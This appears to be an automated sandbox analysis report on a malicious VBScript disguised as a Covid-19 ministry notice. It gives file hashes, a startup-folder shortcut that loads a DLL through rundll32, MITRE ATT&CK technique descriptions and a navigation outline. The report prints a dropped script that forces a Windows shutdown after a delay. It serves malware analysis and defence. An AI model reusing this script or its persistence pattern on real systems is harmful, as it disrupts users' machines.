Preview:	L..................F........................................................E....P.O. .:i.....+00.../C:\...................V.1...........Windows.@............................................W.i.n.d.o.w.s.....Z.1...........system32..B............................................s.y.s.t.e.m.3.2.....f.2...........rundll32.exe..J............................................r.u.n.d.l.l.3.2...e.x.e.......8.....\.....\.....\.....\.....\.....\.....\.....\.....\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.r.u.n.d.l.l.3.2...e.x.e.W.C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.t.a.r.t. .M.e.n.u.\.P.r.o.g.r.a.m.s.\.S.t.a.r.t.u.p.\.x.s.j.f.p.d.e.u.w.h.e. .C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.7.6.9.4.1.8.3.5.5.2.2.6.5.1.\.u.w.n.x.h.e.e.p.q.i.p.u.t.v.s.u.t.3.2.8.5.4.6.7.9.2.2.6.8.6...d.l.l. .m.J.8.L.f.9.v.0.G.Z.n.p.t.O.V.N.b.2.I.........%...............wN....]N.D...Q..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.

C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	304
Entropy (8bit):	5.279184931159565
Encrypted:	false
SSDEEP:	6:jIGdNqhNGXIkKnFkjqvAATbKZkXOyMz6gCggPsjJRXvexOvXKgIi8Ny:8GdohNGYkKnFPvAOKZy8MHsjJRvyOdB
MD5:	A1000881510D29420706AEFDB24B4757
SHA1:	0FA2A4C6B638DE6803EF07E0071C8DB33BB7176B
SHA-256:	3B7054F735A4D2B12D0D3759512AF9A642DADC093F21BD839723552552259E48
SHA-512:	5B4368F69DD98AFA246EE7DE10A179612C7BFB9DCCE5B51EA3656CEE48257FB369BE2AE9FA2FC648E05412BF6F7AA9424D13E16CB15E7F6BAF04C905B2830925
Malicious:	true
Reputation:	low
Preview:	Set MHSXIMOJBNEVEHMHPM = CreateObject("WScript.Shell")..WScript.Sleep(300000)..Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _..& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_..& "Primary=true")..for each OpSys in OpSysSet..retVal = OpSys.Win32Shutdown(6)..next..

Static File Info

General
File type:	UTF-8 Unicode text, with CRLF line terminators
Entropy (8bit):	5.746162880651666
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs
File size:	337047
MD5:	a7eaefeac82a762678b254c38f72a5a0
SHA1:	972982331616263fcb28fab209b150c6365068d7
SHA256:	7f3cd558f1963d4edf18c46b39a45ffc3d83257bd82ecf80e87e10c4cb1efba1
SHA512:	2d4e53406a62ae3726574e0e25d04bbca09e2b192ff079dea414ca6e8b4ed217d115ff07d578296e4422bde14f6a8381ff2fe28597e50887b80f1f1bdc231603
SSDEEP:	6144:1J+RJ+sJ++J+JJ+YJ+ZuJ+2J+UiJ+0J+UJ++J+4J+AJ+zJ+dJ+SJ+BJ+rJ+SJ+Dg:1JAJRJBJIJ9J0uJnJBiJ/J/JjJFJFJm+
File Content Preview:	'.....w.............M.....f..WT............fhT.......l..b..qIkP......ty..S..xHcGENTY..........r.......Ssyee.....cG.......lo..hW...R.......tHZ....r..9k.....Y1.....'.....L..XtRF......DDWh.....yt37dvf......yu..K.................4sn.....qjJ............Ok....y

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

No network behavior found

Code Manipulations

Statistics

System Behavior

Analysis Process: wscript.exe PID: 4664 Parent PID: 3388

General

Start time:	16:14:27
Start date:	03/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs'
Imagebase:	0x7ff6c72a0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Code Manipulations

Statistics

System Behavior

Analysis Process: wscript.exe PID: 4664 Parent PID: 3388

General

Disassembly

Code Analysis